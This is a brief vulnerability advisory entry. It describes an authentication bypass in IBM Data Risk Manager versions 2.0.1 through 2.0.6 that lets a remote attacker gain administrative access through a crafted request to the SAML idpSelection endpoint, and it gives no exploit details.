IBM Data Risk Manager versions 2.0.1 through 2.0.6 are vulnerable to authentication bypass when configured with SAML authentication. A remote attacker can bypass security restrictions by sending a specially crafted HTTP request to the SAML idpSelection endpoint, allowing them to bypass the authentication process and gain full administrative access to the system.
